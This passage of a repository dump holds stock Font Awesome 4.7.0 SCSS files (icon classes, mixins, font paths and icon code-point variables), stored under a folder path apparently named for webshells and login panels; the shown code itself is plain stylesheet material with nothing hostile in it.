content: $fa-var-fonticons; }\n.#{$fa-css-prefix}-reddit-alien:before { content: $fa-var-reddit-alien; }\n.#{$fa-css-prefix}-edge:before { content: $fa-var-edge; }\n.#{$fa-css-prefix}-credit-card-alt:before { content: $fa-var-credit-card-alt; }\n.#{$fa-css-prefix}-codiepie:before { content: $fa-var-codiepie; }\n.#{$fa-css-prefix}-modx:before { content: $fa-var-modx; }\n.#{$fa-css-prefix}-fort-awesome:before { content: $fa-var-fort-awesome; }\n.#{$fa-css-prefix}-usb:before { content: $fa-var-usb; }\n.#{$fa-css-prefix}-product-hunt:before { content: $fa-var-product-hunt; }\n.#{$fa-css-prefix}-mixcloud:before { content: $fa-var-mixcloud; }\n.#{$fa-css-prefix}-scribd:before { content: $fa-var-scribd; }\n.#{$fa-css-prefix}-pause-circle:before { content: $fa-var-pause-circle; }\n.#{$fa-css-prefix}-pause-circle-o:before { content: $fa-var-pause-circle-o; }\n.#{$fa-css-prefix}-stop-circle:before { content: $fa-var-stop-circle; }\n.#{$fa-css-prefix}-stop-circle-o:before { content: $fa-var-stop-circle-o; }\n.#{$fa-css-prefix}-shopping-bag:before { content: $fa-var-shopping-bag; }\n.#{$fa-css-prefix}-shopping-basket:before { content: $fa-var-shopping-basket; }\n.#{$fa-css-prefix}-hashtag:before { content: $fa-var-hashtag; }\n.#{$fa-css-prefix}-bluetooth:before { content: $fa-var-bluetooth; }\n.#{$fa-css-prefix}-bluetooth-b:before { content: $fa-var-bluetooth-b; }\n.#{$fa-css-prefix}-percent:before { content: $fa-var-percent; }\n.#{$fa-css-prefix}-gitlab:before { content: $fa-var-gitlab; }\n.#{$fa-css-prefix}-wpbeginner:before { content: $fa-var-wpbeginner; }\n.#{$fa-css-prefix}-wpforms:before { content: $fa-var-wpforms; }\n.#{$fa-css-prefix}-envira:before { content: $fa-var-envira; }\n.#{$fa-css-prefix}-universal-access:before { content: $fa-var-universal-access; }\n.#{$fa-css-prefix}-wheelchair-alt:before { content: $fa-var-wheelchair-alt; }\n.#{$fa-css-prefix}-question-circle-o:before { content: $fa-var-question-circle-o; }\n.#{$fa-css-prefix}-blind:before { content: $fa-var-blind; }\n.#{$fa-css-prefix}-audio-description:before { content: $fa-var-audio-description; }\n.#{$fa-css-prefix}-volume-control-phone:before { content: $fa-var-volume-control-phone; }\n.#{$fa-css-prefix}-braille:before { content: $fa-var-braille; }\n.#{$fa-css-prefix}-assistive-listening-systems:before { content: $fa-var-assistive-listening-systems; }\n.#{$fa-css-prefix}-asl-interpreting:before,\n.#{$fa-css-prefix}-american-sign-language-interpreting:before { content: $fa-var-american-sign-language-interpreting; }\n.#{$fa-css-prefix}-deafness:before,\n.#{$fa-css-prefix}-hard-of-hearing:before,\n.#{$fa-css-prefix}-deaf:before { content: $fa-var-deaf; }\n.#{$fa-css-prefix}-glide:before { content: $fa-var-glide; }\n.#{$fa-css-prefix}-glide-g:before { content: $fa-var-glide-g; }\n.#{$fa-css-prefix}-signing:before,\n.#{$fa-css-prefix}-sign-language:before { content: $fa-var-sign-language; }\n.#{$fa-css-prefix}-low-vision:before { content: $fa-var-low-vision; }\n.#{$fa-css-prefix}-viadeo:before { content: $fa-var-viadeo; }\n.#{$fa-css-prefix}-viadeo-square:before { content: $fa-var-viadeo-square; }\n.#{$fa-css-prefix}-snapchat:before { content: $fa-var-snapchat; }\n.#{$fa-css-prefix}-snapchat-ghost:before { content: $fa-var-snapchat-ghost; }\n.#{$fa-css-prefix}-snapchat-square:before { content: $fa-var-snapchat-square; }\n.#{$fa-css-prefix}-pied-piper:before { content: $fa-var-pied-piper; }\n.#{$fa-css-prefix}-first-order:before { content: $fa-var-first-order; }\n.#{$fa-css-prefix}-yoast:before { content: $fa-var-yoast; }\n.#{$fa-css-prefix}-themeisle:before { content: $fa-var-themeisle; }\n.#{$fa-css-prefix}-google-plus-circle:before,\n.#{$fa-css-prefix}-google-plus-official:before { content: $fa-var-google-plus-official; }\n.#{$fa-css-prefix}-fa:before,\n.#{$fa-css-prefix}-font-awesome:before { content: $fa-var-font-awesome; }\n.#{$fa-css-prefix}-handshake-o:before { content: $fa-var-handshake-o; }\n.#{$fa-css-prefix}-envelope-open:before { content: $fa-var-envelope-open; }\n.#{$fa-css-prefix}-envelope-open-o:before { content: $fa-var-envelope-open-o; }\n.#{$fa-css-prefix}-linode:before { content: $fa-var-linode; }\n.#{$fa-css-prefix}-address-book:before { content: $fa-var-address-book; }\n.#{$fa-css-prefix}-address-book-o:before { content: $fa-var-address-book-o; }\n.#{$fa-css-prefix}-vcard:before,\n.#{$fa-css-prefix}-address-card:before { content: $fa-var-address-card; }\n.#{$fa-css-prefix}-vcard-o:before,\n.#{$fa-css-prefix}-address-card-o:before { content: $fa-var-address-card-o; }\n.#{$fa-css-prefix}-user-circle:before { content: $fa-var-user-circle; }\n.#{$fa-css-prefix}-user-circle-o:before { content: $fa-var-user-circle-o; }\n.#{$fa-css-prefix}-user-o:before { content: $fa-var-user-o; }\n.#{$fa-css-prefix}-id-badge:before { content: $fa-var-id-badge; }\n.#{$fa-css-prefix}-drivers-license:before,\n.#{$fa-css-prefix}-id-card:before { content: $fa-var-id-card; }\n.#{$fa-css-prefix}-drivers-license-o:before,\n.#{$fa-css-prefix}-id-card-o:before { content: $fa-var-id-card-o; }\n.#{$fa-css-prefix}-quora:before { content: $fa-var-quora; }\n.#{$fa-css-prefix}-free-code-camp:before { content: $fa-var-free-code-camp; }\n.#{$fa-css-prefix}-telegram:before { content: $fa-var-telegram; }\n.#{$fa-css-prefix}-thermometer-4:before,\n.#{$fa-css-prefix}-thermometer:before,\n.#{$fa-css-prefix}-thermometer-full:before { content: $fa-var-thermometer-full; }\n.#{$fa-css-prefix}-thermometer-3:before,\n.#{$fa-css-prefix}-thermometer-three-quarters:before { content: $fa-var-thermometer-three-quarters; }\n.#{$fa-css-prefix}-thermometer-2:before,\n.#{$fa-css-prefix}-thermometer-half:before { content: $fa-var-thermometer-half; }\n.#{$fa-css-prefix}-thermometer-1:before,\n.#{$fa-css-prefix}-thermometer-quarter:before { content: $fa-var-thermometer-quarter; }\n.#{$fa-css-prefix}-thermometer-0:before,\n.#{$fa-css-prefix}-thermometer-empty:before { content: $fa-var-thermometer-empty; }\n.#{$fa-css-prefix}-shower:before { content: $fa-var-shower; }\n.#{$fa-css-prefix}-bathtub:before,\n.#{$fa-css-prefix}-s15:before,\n.#{$fa-css-prefix}-bath:before { content: $fa-var-bath; }\n.#{$fa-css-prefix}-podcast:before { content: $fa-var-podcast; }\n.#{$fa-css-prefix}-window-maximize:before { content: $fa-var-window-maximize; }\n.#{$fa-css-prefix}-window-minimize:before { content: $fa-var-window-minimize; }\n.#{$fa-css-prefix}-window-restore:before { content: $fa-var-window-restore; }\n.#{$fa-css-prefix}-times-rectangle:before,\n.#{$fa-css-prefix}-window-close:before { content: $fa-var-window-close; }\n.#{$fa-css-prefix}-times-rectangle-o:before,\n.#{$fa-css-prefix}-window-close-o:before { content: $fa-var-window-close-o; }\n.#{$fa-css-prefix}-bandcamp:before { content: $fa-var-bandcamp; }\n.#{$fa-css-prefix}-grav:before { content: $fa-var-grav; }\n.#{$fa-css-prefix}-etsy:before { content: $fa-var-etsy; }\n.#{$fa-css-prefix}-imdb:before { content: $fa-var-imdb; }\n.#{$fa-css-prefix}-ravelry:before { content: $fa-var-ravelry; }\n.#{$fa-css-prefix}-eercast:before { content: $fa-var-eercast; }\n.#{$fa-css-prefix}-microchip:before { content: $fa-var-microchip; }\n.#{$fa-css-prefix}-snowflake-o:before { content: $fa-var-snowflake-o; }\n.#{$fa-css-prefix}-superpowers:before { content: $fa-var-superpowers; }\n.#{$fa-css-prefix}-wpexplorer:before { content: $fa-var-wpexplorer; }\n.#{$fa-css-prefix}-meetup:before { content: $fa-var-meetup; }\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/fonts/font-awesome-4.7.0/scss/_larger.scss",
    "content": "// Icon Sizes\n// -------------------------\n\n/* makes the font 33% larger relative to the icon container */\n.#{$fa-css-prefix}-lg {\n  font-size: (4em / 3);\n  line-height: (3em / 4);\n  vertical-align: -15%;\n}\n.#{$fa-css-prefix}-2x { font-size: 2em; }\n.#{$fa-css-prefix}-3x { font-size: 3em; }\n.#{$fa-css-prefix}-4x { font-size: 4em; }\n.#{$fa-css-prefix}-5x { font-size: 5em; }\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/fonts/font-awesome-4.7.0/scss/_list.scss",
    "content": "// List Icons\n// -------------------------\n\n.#{$fa-css-prefix}-ul {\n  padding-left: 0;\n  margin-left: $fa-li-width;\n  list-style-type: none;\n  > li { position: relative; }\n}\n.#{$fa-css-prefix}-li {\n  position: absolute;\n  left: -$fa-li-width;\n  width: $fa-li-width;\n  top: (2em / 14);\n  text-align: center;\n  &.#{$fa-css-prefix}-lg {\n    left: -$fa-li-width + (4em / 14);\n  }\n}\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/fonts/font-awesome-4.7.0/scss/_mixins.scss",
    "content": "// Mixins\n// --------------------------\n\n@mixin fa-icon() {\n  display: inline-block;\n  font: normal normal normal #{$fa-font-size-base}/#{$fa-line-height-base} FontAwesome; // shortening font declaration\n  font-size: inherit; // can't have font-size inherit on line above, so need to override\n  text-rendering: auto; // optimizelegibility throws things off #1094\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n\n}\n\n@mixin fa-icon-rotate($degrees, $rotation) {\n  -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=#{$rotation})\";\n  -webkit-transform: rotate($degrees);\n      -ms-transform: rotate($degrees);\n          transform: rotate($degrees);\n}\n\n@mixin fa-icon-flip($horiz, $vert, $rotation) {\n  -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=#{$rotation}, mirror=1)\";\n  -webkit-transform: scale($horiz, $vert);\n      -ms-transform: scale($horiz, $vert);\n          transform: scale($horiz, $vert);\n}\n\n\n// Only display content to screen readers. A la Bootstrap 4.\n//\n// See: http://a11yproject.com/posts/how-to-hide-content/\n\n@mixin sr-only {\n  position: absolute;\n  width: 1px;\n  height: 1px;\n  padding: 0;\n  margin: -1px;\n  overflow: hidden;\n  clip: rect(0,0,0,0);\n  border: 0;\n}\n\n// Use in conjunction with .sr-only to only display content when it's focused.\n//\n// Useful for \"Skip to main content\" links; see http://www.w3.org/TR/2013/NOTE-WCAG20-TECHS-20130905/G1\n//\n// Credit: HTML5 Boilerplate\n\n@mixin sr-only-focusable {\n  &:active,\n  &:focus {\n    position: static;\n    width: auto;\n    height: auto;\n    margin: 0;\n    overflow: visible;\n    clip: auto;\n  }\n}\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/fonts/font-awesome-4.7.0/scss/_path.scss",
    "content": "/* FONT PATH\n * -------------------------- */\n\n@font-face {\n  font-family: 'FontAwesome';\n  src: url('#{$fa-font-path}/fontawesome-webfont.eot?v=#{$fa-version}');\n  src: url('#{$fa-font-path}/fontawesome-webfont.eot?#iefix&v=#{$fa-version}') format('embedded-opentype'),\n    url('#{$fa-font-path}/fontawesome-webfont.woff2?v=#{$fa-version}') format('woff2'),\n    url('#{$fa-font-path}/fontawesome-webfont.woff?v=#{$fa-version}') format('woff'),\n    url('#{$fa-font-path}/fontawesome-webfont.ttf?v=#{$fa-version}') format('truetype'),\n    url('#{$fa-font-path}/fontawesome-webfont.svg?v=#{$fa-version}#fontawesomeregular') format('svg');\n//  src: url('#{$fa-font-path}/FontAwesome.otf') format('opentype'); // used when developing fonts\n  font-weight: normal;\n  font-style: normal;\n}\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/fonts/font-awesome-4.7.0/scss/_rotated-flipped.scss",
    "content": "// Rotated & Flipped Icons\n// -------------------------\n\n.#{$fa-css-prefix}-rotate-90  { @include fa-icon-rotate(90deg, 1);  }\n.#{$fa-css-prefix}-rotate-180 { @include fa-icon-rotate(180deg, 2); }\n.#{$fa-css-prefix}-rotate-270 { @include fa-icon-rotate(270deg, 3); }\n\n.#{$fa-css-prefix}-flip-horizontal { @include fa-icon-flip(-1, 1, 0); }\n.#{$fa-css-prefix}-flip-vertical   { @include fa-icon-flip(1, -1, 2); }\n\n// Hook for IE8-9\n// -------------------------\n\n:root .#{$fa-css-prefix}-rotate-90,\n:root .#{$fa-css-prefix}-rotate-180,\n:root .#{$fa-css-prefix}-rotate-270,\n:root .#{$fa-css-prefix}-flip-horizontal,\n:root .#{$fa-css-prefix}-flip-vertical {\n  filter: none;\n}\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/fonts/font-awesome-4.7.0/scss/_screen-reader.scss",
    "content": "// Screen Readers\n// -------------------------\n\n.sr-only { @include sr-only(); }\n.sr-only-focusable { @include sr-only-focusable(); }\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/fonts/font-awesome-4.7.0/scss/_stacked.scss",
    "content": "// Stacked Icons\n// -------------------------\n\n.#{$fa-css-prefix}-stack {\n  position: relative;\n  display: inline-block;\n  width: 2em;\n  height: 2em;\n  line-height: 2em;\n  vertical-align: middle;\n}\n.#{$fa-css-prefix}-stack-1x, .#{$fa-css-prefix}-stack-2x {\n  position: absolute;\n  left: 0;\n  width: 100%;\n  text-align: center;\n}\n.#{$fa-css-prefix}-stack-1x { line-height: inherit; }\n.#{$fa-css-prefix}-stack-2x { font-size: 2em; }\n.#{$fa-css-prefix}-inverse { color: $fa-inverse; }\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/fonts/font-awesome-4.7.0/scss/_variables.scss",
    "content": "// Variables\n// --------------------------\n\n$fa-font-path:        \"../fonts\" !default;\n$fa-font-size-base:   14px !default;\n$fa-line-height-base: 1 !default;\n//$fa-font-path:        \"//netdna.bootstrapcdn.com/font-awesome/4.7.0/fonts\" !default; // for referencing Bootstrap CDN font files directly\n$fa-css-prefix:       fa !default;\n$fa-version:          \"4.7.0\" !default;\n$fa-border-color:     #eee !default;\n$fa-inverse:          #fff !default;\n$fa-li-width:         (30em / 14) !default;\n\n$fa-var-500px: \"\\f26e\";\n$fa-var-address-book: \"\\f2b9\";\n$fa-var-address-book-o: \"\\f2ba\";\n$fa-var-address-card: \"\\f2bb\";\n$fa-var-address-card-o: \"\\f2bc\";\n$fa-var-adjust: \"\\f042\";\n$fa-var-adn: \"\\f170\";\n$fa-var-align-center: \"\\f037\";\n$fa-var-align-justify: \"\\f039\";\n$fa-var-align-left: \"\\f036\";\n$fa-var-align-right: \"\\f038\";\n$fa-var-amazon: \"\\f270\";\n$fa-var-ambulance: \"\\f0f9\";\n$fa-var-american-sign-language-interpreting: \"\\f2a3\";\n$fa-var-anchor: \"\\f13d\";\n$fa-var-android: \"\\f17b\";\n$fa-var-angellist: \"\\f209\";\n$fa-var-angle-double-down: \"\\f103\";\n$fa-var-angle-double-left: \"\\f100\";\n$fa-var-angle-double-right: \"\\f101\";\n$fa-var-angle-double-up: \"\\f102\";\n$fa-var-angle-down: \"\\f107\";\n$fa-var-angle-left: \"\\f104\";\n$fa-var-angle-right: \"\\f105\";\n$fa-var-angle-up: \"\\f106\";\n$fa-var-apple: \"\\f179\";\n$fa-var-archive: \"\\f187\";\n$fa-var-area-chart: \"\\f1fe\";\n$fa-var-arrow-circle-down: \"\\f0ab\";\n$fa-var-arrow-circle-left: \"\\f0a8\";\n$fa-var-arrow-circle-o-down: \"\\f01a\";\n$fa-var-arrow-circle-o-left: \"\\f190\";\n$fa-var-arrow-circle-o-right: \"\\f18e\";\n$fa-var-arrow-circle-o-up: \"\\f01b\";\n$fa-var-arrow-circle-right: \"\\f0a9\";\n$fa-var-arrow-circle-up: \"\\f0aa\";\n$fa-var-arrow-down: \"\\f063\";\n$fa-var-arrow-left: \"\\f060\";\n$fa-var-arrow-right: \"\\f061\";\n$fa-var-arrow-up: \"\\f062\";\n$fa-var-arrows: \"\\f047\";\n$fa-var-arrows-alt: \"\\f0b2\";\n$fa-var-arrows-h: \"\\f07e\";\n$fa-var-arrows-v: \"\\f07d\";\n$fa-var-asl-interpreting: \"\\f2a3\";\n$fa-var-assistive-listening-systems: \"\\f2a2\";\n$fa-var-asterisk: \"\\f069\";\n$fa-var-at: \"\\f1fa\";\n$fa-var-audio-description: \"\\f29e\";\n$fa-var-automobile: \"\\f1b9\";\n$fa-var-backward: \"\\f04a\";\n$fa-var-balance-scale: \"\\f24e\";\n$fa-var-ban: \"\\f05e\";\n$fa-var-bandcamp: \"\\f2d5\";\n$fa-var-bank: \"\\f19c\";\n$fa-var-bar-chart: \"\\f080\";\n$fa-var-bar-chart-o: \"\\f080\";\n$fa-var-barcode: \"\\f02a\";\n$fa-var-bars: \"\\f0c9\";\n$fa-var-bath: \"\\f2cd\";\n$fa-var-bathtub: \"\\f2cd\";\n$fa-var-battery: \"\\f240\";\n$fa-var-battery-0: \"\\f244\";\n$fa-var-battery-1: \"\\f243\";\n$fa-var-battery-2: \"\\f242\";\n$fa-var-battery-3: \"\\f241\";\n$fa-var-battery-4: \"\\f240\";\n$fa-var-battery-empty: \"\\f244\";\n$fa-var-battery-full: \"\\f240\";\n$fa-var-battery-half: \"\\f242\";\n$fa-var-battery-quarter: \"\\f243\";\n$fa-var-battery-three-quarters: \"\\f241\";\n$fa-var-bed: \"\\f236\";\n$fa-var-beer: \"\\f0fc\";\n$fa-var-behance: \"\\f1b4\";\n$fa-var-behance-square: \"\\f1b5\";\n$fa-var-bell: \"\\f0f3\";\n$fa-var-bell-o: \"\\f0a2\";\n$fa-var-bell-slash: \"\\f1f6\";\n$fa-var-bell-slash-o: \"\\f1f7\";\n$fa-var-bicycle: \"\\f206\";\n$fa-var-binoculars: \"\\f1e5\";\n$fa-var-birthday-cake: \"\\f1fd\";\n$fa-var-bitbucket: \"\\f171\";\n$fa-var-bitbucket-square: \"\\f172\";\n$fa-var-bitcoin: \"\\f15a\";\n$fa-var-black-tie: \"\\f27e\";\n$fa-var-blind: \"\\f29d\";\n$fa-var-bluetooth: \"\\f293\";\n$fa-var-bluetooth-b: \"\\f294\";\n$fa-var-bold: \"\\f032\";\n$fa-var-bolt: \"\\f0e7\";\n$fa-var-bomb: \"\\f1e2\";\n$fa-var-book: \"\\f02d\";\n$fa-var-bookmark: \"\\f02e\";\n$fa-var-bookmark-o: \"\\f097\";\n$fa-var-braille: \"\\f2a1\";\n$fa-var-briefcase: \"\\f0b1\";\n$fa-var-btc: \"\\f15a\";\n$fa-var-bug: \"\\f188\";\n$fa-var-building: \"\\f1ad\";\n$fa-var-building-o: \"\\f0f7\";\n$fa-var-bullhorn: \"\\f0a1\";\n$fa-var-bullseye: \"\\f140\";\n$fa-var-bus: \"\\f207\";\n$fa-var-buysellads: \"\\f20d\";\n$fa-var-cab: \"\\f1ba\";\n$fa-var-calculator: \"\\f1ec\";\n$fa-var-calendar: \"\\f073\";\n$fa-var-calendar-check-o: \"\\f274\";\n$fa-var-calendar-minus-o: \"\\f272\";\n$fa-var-calendar-o: \"\\f133\";\n$fa-var-calendar-plus-o: \"\\f271\";\n$fa-var-calendar-times-o: \"\\f273\";\n$fa-var-camera: \"\\f030\";\n$fa-var-camera-retro: \"\\f083\";\n$fa-var-car: \"\\f1b9\";\n$fa-var-caret-down: \"\\f0d7\";\n$fa-var-caret-left: \"\\f0d9\";\n$fa-var-caret-right: \"\\f0da\";\n$fa-var-caret-square-o-down: \"\\f150\";\n$fa-var-caret-square-o-left: \"\\f191\";\n$fa-var-caret-square-o-right: \"\\f152\";\n$fa-var-caret-square-o-up: \"\\f151\";\n$fa-var-caret-up: \"\\f0d8\";\n$fa-var-cart-arrow-down: \"\\f218\";\n$fa-var-cart-plus: \"\\f217\";\n$fa-var-cc: \"\\f20a\";\n$fa-var-cc-amex: \"\\f1f3\";\n$fa-var-cc-diners-club: \"\\f24c\";\n$fa-var-cc-discover: \"\\f1f2\";\n$fa-var-cc-jcb: \"\\f24b\";\n$fa-var-cc-mastercard: \"\\f1f1\";\n$fa-var-cc-paypal: \"\\f1f4\";\n$fa-var-cc-stripe: \"\\f1f5\";\n$fa-var-cc-visa: \"\\f1f0\";\n$fa-var-certificate: \"\\f0a3\";\n$fa-var-chain: \"\\f0c1\";\n$fa-var-chain-broken: \"\\f127\";\n$fa-var-check: \"\\f00c\";\n$fa-var-check-circle: \"\\f058\";\n$fa-var-check-circle-o: \"\\f05d\";\n$fa-var-check-square: \"\\f14a\";\n$fa-var-check-square-o: \"\\f046\";\n$fa-var-chevron-circle-down: \"\\f13a\";\n$fa-var-chevron-circle-left: \"\\f137\";\n$fa-var-chevron-circle-right: \"\\f138\";\n$fa-var-chevron-circle-up: \"\\f139\";\n$fa-var-chevron-down: \"\\f078\";\n$fa-var-chevron-left: \"\\f053\";\n$fa-var-chevron-right: \"\\f054\";\n$fa-var-chevron-up: \"\\f077\";\n$fa-var-child: \"\\f1ae\";\n$fa-var-chrome: \"\\f268\";\n$fa-var-circle: \"\\f111\";\n$fa-var-circle-o: \"\\f10c\";\n$fa-var-circle-o-notch: \"\\f1ce\";\n$fa-var-circle-thin: \"\\f1db\";\n$fa-var-clipboard: \"\\f0ea\";\n$fa-var-clock-o: \"\\f017\";\n$fa-var-clone: \"\\f24d\";\n$fa-var-close: \"\\f00d\";\n$fa-var-cloud: \"\\f0c2\";\n$fa-var-cloud-download: \"\\f0ed\";\n$fa-var-cloud-upload: \"\\f0ee\";\n$fa-var-cny: \"\\f157\";\n$fa-var-code: \"\\f121\";\n$fa-var-code-fork: \"\\f126\";\n$fa-var-codepen: \"\\f1cb\";\n$fa-var-codiepie: \"\\f284\";\n$fa-var-coffee: \"\\f0f4\";\n$fa-var-cog: \"\\f013\";\n$fa-var-cogs: \"\\f085\";\n$fa-var-columns: \"\\f0db\";\n$fa-var-comment: \"\\f075\";\n$fa-var-comment-o: \"\\f0e5\";\n$fa-var-commenting: \"\\f27a\";\n$fa-var-commenting-o: \"\\f27b\";\n$fa-var-comments: \"\\f086\";\n$fa-var-comments-o: \"\\f0e6\";\n$fa-var-compass: \"\\f14e\";\n$fa-var-compress: \"\\f066\";\n$fa-var-connectdevelop: \"\\f20e\";\n$fa-var-contao: \"\\f26d\";\n$fa-var-copy: \"\\f0c5\";\n$fa-var-copyright: \"\\f1f9\";\n$fa-var-creative-commons: \"\\f25e\";\n$fa-var-credit-card: \"\\f09d\";\n$fa-var-credit-card-alt: \"\\f283\";\n$fa-var-crop: \"\\f125\";\n$fa-var-crosshairs: \"\\f05b\";\n$fa-var-css3: \"\\f13c\";\n$fa-var-cube: \"\\f1b2\";\n$fa-var-cubes: \"\\f1b3\";\n$fa-var-cut: \"\\f0c4\";\n$fa-var-cutlery: \"\\f0f5\";\n$fa-var-dashboard: \"\\f0e4\";\n$fa-var-dashcube: \"\\f210\";\n$fa-var-database: \"\\f1c0\";\n$fa-var-deaf: \"\\f2a4\";\n$fa-var-deafness: \"\\f2a4\";\n$fa-var-dedent: \"\\f03b\";\n$fa-var-delicious: \"\\f1a5\";\n$fa-var-desktop: \"\\f108\";\n$fa-var-deviantart: \"\\f1bd\";\n$fa-var-diamond: \"\\f219\";\n$fa-var-digg: \"\\f1a6\";\n$fa-var-dollar: \"\\f155\";\n$fa-var-dot-circle-o: \"\\f192\";\n$fa-var-download: \"\\f019\";\n$fa-var-dribbble: \"\\f17d\";\n$fa-var-drivers-license: \"\\f2c2\";\n$fa-var-drivers-license-o: \"\\f2c3\";\n$fa-var-dropbox: \"\\f16b\";\n$fa-var-drupal: \"\\f1a9\";\n$fa-var-edge: \"\\f282\";\n$fa-var-edit: \"\\f044\";\n$fa-var-eercast: \"\\f2da\";\n$fa-var-eject: \"\\f052\";\n$fa-var-ellipsis-h: \"\\f141\";\n$fa-var-ellipsis-v: \"\\f142\";\n$fa-var-empire: \"\\f1d1\";\n$fa-var-envelope: \"\\f0e0\";\n$fa-var-envelope-o: \"\\f003\";\n$fa-var-envelope-open: \"\\f2b6\";\n$fa-var-envelope-open-o: \"\\f2b7\";\n$fa-var-envelope-square: \"\\f199\";\n$fa-var-envira: \"\\f299\";\n$fa-var-eraser: \"\\f12d\";\n$fa-var-etsy: \"\\f2d7\";\n$fa-var-eur: \"\\f153\";\n$fa-var-euro: \"\\f153\";\n$fa-var-exchange: \"\\f0ec\";\n$fa-var-exclamation: \"\\f12a\";\n$fa-var-exclamation-circle: \"\\f06a\";\n$fa-var-exclamation-triangle: \"\\f071\";\n$fa-var-expand: \"\\f065\";\n$fa-var-expeditedssl: \"\\f23e\";\n$fa-var-external-link: \"\\f08e\";\n$fa-var-external-link-square: \"\\f14c\";\n$fa-var-eye: \"\\f06e\";\n$fa-var-eye-slash: \"\\f070\";\n$fa-var-eyedropper: \"\\f1fb\";\n$fa-var-fa: \"\\f2b4\";\n$fa-var-facebook: \"\\f09a\";\n$fa-var-facebook-f: \"\\f09a\";\n$fa-var-facebook-official: \"\\f230\";\n$fa-var-facebook-square: \"\\f082\";\n$fa-var-fast-backward: \"\\f049\";\n$fa-var-fast-forward: \"\\f050\";\n$fa-var-fax: \"\\f1ac\";\n$fa-var-feed: \"\\f09e\";\n$fa-var-female: \"\\f182\";\n$fa-var-fighter-jet: \"\\f0fb\";\n$fa-var-file: \"\\f15b\";\n$fa-var-file-archive-o: \"\\f1c6\";\n$fa-var-file-audio-o: \"\\f1c7\";\n$fa-var-file-code-o: \"\\f1c9\";\n$fa-var-file-excel-o: \"\\f1c3\";\n$fa-var-file-image-o: \"\\f1c5\";\n$fa-var-file-movie-o: \"\\f1c8\";\n$fa-var-file-o: \"\\f016\";\n$fa-var-file-pdf-o: \"\\f1c1\";\n$fa-var-file-photo-o: \"\\f1c5\";\n$fa-var-file-picture-o: \"\\f1c5\";\n$fa-var-file-powerpoint-o: \"\\f1c4\";\n$fa-var-file-sound-o: \"\\f1c7\";\n$fa-var-file-text: \"\\f15c\";\n$fa-var-file-text-o: \"\\f0f6\";\n$fa-var-file-video-o: \"\\f1c8\";\n$fa-var-file-word-o: \"\\f1c2\";\n$fa-var-file-zip-o: \"\\f1c6\";\n$fa-var-files-o: \"\\f0c5\";\n$fa-var-film: \"\\f008\";\n$fa-var-filter: \"\\f0b0\";\n$fa-var-fire: \"\\f06d\";\n$fa-var-fire-extinguisher: \"\\f134\";\n$fa-var-firefox: \"\\f269\";\n$fa-var-first-order: \"\\f2b0\";\n$fa-var-flag: \"\\f024\";\n$fa-var-flag-checkered: \"\\f11e\";\n$fa-var-flag-o: \"\\f11d\";\n$fa-var-flash: \"\\f0e7\";\n$fa-var-flask: \"\\f0c3\";\n$fa-var-flickr: \"\\f16e\";\n$fa-var-floppy-o: \"\\f0c7\";\n$fa-var-folder: \"\\f07b\";\n$fa-var-folder-o: \"\\f114\";\n$fa-var-folder-open: \"\\f07c\";\n$fa-var-folder-open-o: \"\\f115\";\n$fa-var-font: \"\\f031\";\n$fa-var-font-awesome: \"\\f2b4\";\n$fa-var-fonticons: \"\\f280\";\n$fa-var-fort-awesome: \"\\f286\";\n$fa-var-forumbee: \"\\f211\";\n$fa-var-forward: \"\\f04e\";\n$fa-var-foursquare: \"\\f180\";\n$fa-var-free-code-camp: \"\\f2c5\";\n$fa-var-frown-o: \"\\f119\";\n$fa-var-futbol-o: \"\\f1e3\";\n$fa-var-gamepad: \"\\f11b\";\n$fa-var-gavel: \"\\f0e3\";\n$fa-var-gbp: \"\\f154\";\n$fa-var-ge: \"\\f1d1\";\n$fa-var-gear: \"\\f013\";\n$fa-var-gears: \"\\f085\";\n$fa-var-genderless: \"\\f22d\";\n$fa-var-get-pocket: \"\\f265\";\n$fa-var-gg: \"\\f260\";\n$fa-var-gg-circle: \"\\f261\";\n$fa-var-gift: \"\\f06b\";\n$fa-var-git: \"\\f1d3\";\n$fa-var-git-square: \"\\f1d2\";\n$fa-var-github: \"\\f09b\";\n$fa-var-github-alt: \"\\f113\";\n$fa-var-github-square: \"\\f092\";\n$fa-var-gitlab: \"\\f296\";\n$fa-var-gittip: \"\\f184\";\n$fa-var-glass: \"\\f000\";\n$fa-var-glide: \"\\f2a5\";\n$fa-var-glide-g: \"\\f2a6\";\n$fa-var-globe: \"\\f0ac\";\n$fa-var-google: \"\\f1a0\";\n$fa-var-google-plus: \"\\f0d5\";\n$fa-var-google-plus-circle: \"\\f2b3\";\n$fa-var-google-plus-official: \"\\f2b3\";\n$fa-var-google-plus-square: \"\\f0d4\";\n$fa-var-google-wallet: \"\\f1ee\";\n$fa-var-graduation-cap: \"\\f19d\";\n$fa-var-gratipay: \"\\f184\";\n$fa-var-grav: \"\\f2d6\";\n$fa-var-group: \"\\f0c0\";\n$fa-var-h-square: \"\\f0fd\";\n$fa-var-hacker-news: \"\\f1d4\";\n$fa-var-hand-grab-o: \"\\f255\";\n$fa-var-hand-lizard-o: \"\\f258\";\n$fa-var-hand-o-down: \"\\f0a7\";\n$fa-var-hand-o-left: \"\\f0a5\";\n$fa-var-hand-o-right: \"\\f0a4\";\n$fa-var-hand-o-up: \"\\f0a6\";\n$fa-var-hand-paper-o: \"\\f256\";\n$fa-var-hand-peace-o: \"\\f25b\";\n$fa-var-hand-pointer-o: \"\\f25a\";\n$fa-var-hand-rock-o: \"\\f255\";\n$fa-var-hand-scissors-o: \"\\f257\";\n$fa-var-hand-spock-o: \"\\f259\";\n$fa-var-hand-stop-o: \"\\f256\";\n$fa-var-handshake-o: \"\\f2b5\";\n$fa-var-hard-of-hearing: \"\\f2a4\";\n$fa-var-hashtag: 